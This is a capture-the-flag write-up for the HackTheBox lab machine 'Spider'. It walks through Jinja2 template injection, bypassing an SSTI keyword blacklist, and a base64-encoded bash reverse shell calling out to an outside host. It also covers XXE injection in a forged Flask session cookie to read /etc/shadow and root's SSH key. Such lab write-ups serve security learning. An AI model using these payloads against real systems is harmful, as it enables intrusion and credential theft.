12 KiB
HackTheBox-Spider
NMAP
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZKP7Ebfve8CuM7AUHwkj38Y/0Pw04ub27AePqlhmH8FpgdDCkj3WINW8Yer3nmxZdh7zNadl6FZXYfmRRl/K3BC33Or44id3e8Uo87hMKP9
F5Nv85W7LfaoJhsHdwKL+u3h494N1Cv0n2ujJ2/KCYLQRZwvn1XfS4crkTVmNyrw3xtCYq0aCHNYxp51/WhNRULDf0MUMnA78M/1K9+erVCg4tOVMBisu2SD7SHN//E2IwSfHJTHfyDj+/zi6BbK
zW+4rIxxJr2GRNDaPlYXsm3/up5M+t7lMIYwHOTIRLu3trpx4lfWfIKea9uTNiahCARy3agSmx7f1WLp5NuLeH
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLxMnAdIHruSk1hB7McjxnudQ7f6I5sKPh1NpJd3Tmb9tedtLNqqPXtzroCP8caSRkfXjtJ/hp
+CiobuuYW8+fU=
| 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJq0AuboJ6i4Hv3fUwQku//NLipnLhz1PfrV5KZ89eT
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the nmap scan we can there are only 2 ports ,http (80) and ssh (22) also the web page will redirect us to spider.htb
so we need to add this in our /etc/hosts
file
PORT 80 (HTTP)
We can these pages which are interesting to us
The login requires a UserID so we can't just go and guess usernames
So let's try to register an account
We get a UUID after registerig an account , so we can login
But we don't see much that we can do something here , I ran gobuster
but found nothing much interesting files or directories
Seeing the cookies using developer tools we see a JWT token
But this is giving us an error maybe there's something missing JWT or something isn't included properly. I looked into different hackerone reports if there's something that can be done with UUID's being in JWT but all I found was that we can guess UUID but it's a long and tiring process so I did backed out of looking into UUID, I tried testing for Server Side Template Injection (SSTI) , which arises when an application is using a template to render something on the web page for example they will be using a template to display the username by taking the input value into the the template , there are many template engines like ruby template , twig (PHP) , jinja2 (Python) .
This web page is using jinja2
and the way we can determine is by creating an account with the user name {{7*'7'}}
which would result to 7777777 else it would result to 49 which would mean that it's using twig
I though of doing remote code execution which is possible through {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
, since the character limit for usernmae is only 10 so we can't do it , instead I created a username with {{config}}
which reveals us some juicy stuff
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>
So I was wrong in assuming the cookie to be JWT , it's actually a flask cookie , which we can decode using flask-unsign
Also we can do SQL Injection through flask session as well
We can try logging in with the UUID and password of chiv
user
Navigating to View Messagaes
we can see that it's telling to fix the Support Portal, now here if we try to SSTI since the message that we input gets displayed on Support Portal with the message and email , let's try to see which input field is injectable
It accepts our input so let's go to the view support mesages
It doesn't display the result of {{config}]
so let's try this on email
input field
And if we get the message that {{}}
these are blocked so this was a really frustrating process and it took me days to figure out how to bypass the blacklist , I came across some resources about bypassing the blacklist for SSTI . after a lot of trial and error I understood which words are blocked
if , ', . , __ , {{ , }} , set
Pretty much these were blacklisted so we can use {% %}
which are used for statements and for using __import__
we can replace __
with \x5f\x5f
which is a hexadecimal conversion , we can use request
to query the information , the final payload will look like this
{% print request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDMvMjIyMiAwPiYxCg== |base64 -d|bash")["read"]() %}
Since if
,for
was blacklisted we used print
keyword and the base64 encoded bash reverse shell because .
was blacklisted
We can now stabilize the reverse shell with python3
Going into chiv
's home directory we can get the user flag
Since id_rsa
key exists in .ssh
folder we can grab that private key so we can login through ssh to get a better shell
It's always a good idea to check the source code of the web application , so navigating to /var/www/webapp
Checking app.py
we can see the blacklist also some credentials as well
It's a good idea to see which ports are locally open on the box , so using ss -tulpn
which is socket status ss
where tulpn
shows tcp , udp , listening , process and port number , but process ID can't be shown as only root user can do that.
So we have to do port forwarding and we can do ssh local port forwarding since we have access through ssh
Here I have mapped port 8080 from target machine to my port 80 so the traffic from port 8080 will be transfered to my port 80 through ssh
Again we got a login page , but we can login with any name , and that name will be included in the flask session cookie , on decoding the cookie with flask-unsign
we can see that there's a base64 encoded string which reveals to be in a xml format
This session has another base64 encoded text as mentioned earlier if we decode this we'll get something to be in a XML format
Coming back to the source code of html we can see another parameter version
whose value is 1.0.0 , so let's try to add something and decode the cookie to see if something gets included
So the value from here gets included in the comments so we need to comment something before including anything and then addding a starting tag for comment so after wards it gets commented like this
--> something <!--
This would result to
<!-- API Version 1.0.0 -->something <!-- -->
<root>
<data>
<username>arz</username>
<is_admin>0</is_admin>
</data>
</root>
Let's test this out
It does , so this looks like XXE (XML External Entity) attack ,we can try to add DTD and create an etity to retrieve /etc/passwd
, adding <!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
into the version
parameter and we can use username
paramter to call the entity since it gets included in username tag on xml also to url encode the DTD
Also we need to url encode &xxe;
which is for calling the entity in the username tag
Now if we decode the XML from the cookie
We can see that it does work , all is left to see if XXE works if we submit this cookie in the browser
Now we don't know if we are the root user or not , so let's try to grab /etc/shadow
if we can then we are root
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/shadow"> ]>
We can so all is left to grab the ssh key for root user , if it does exists
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>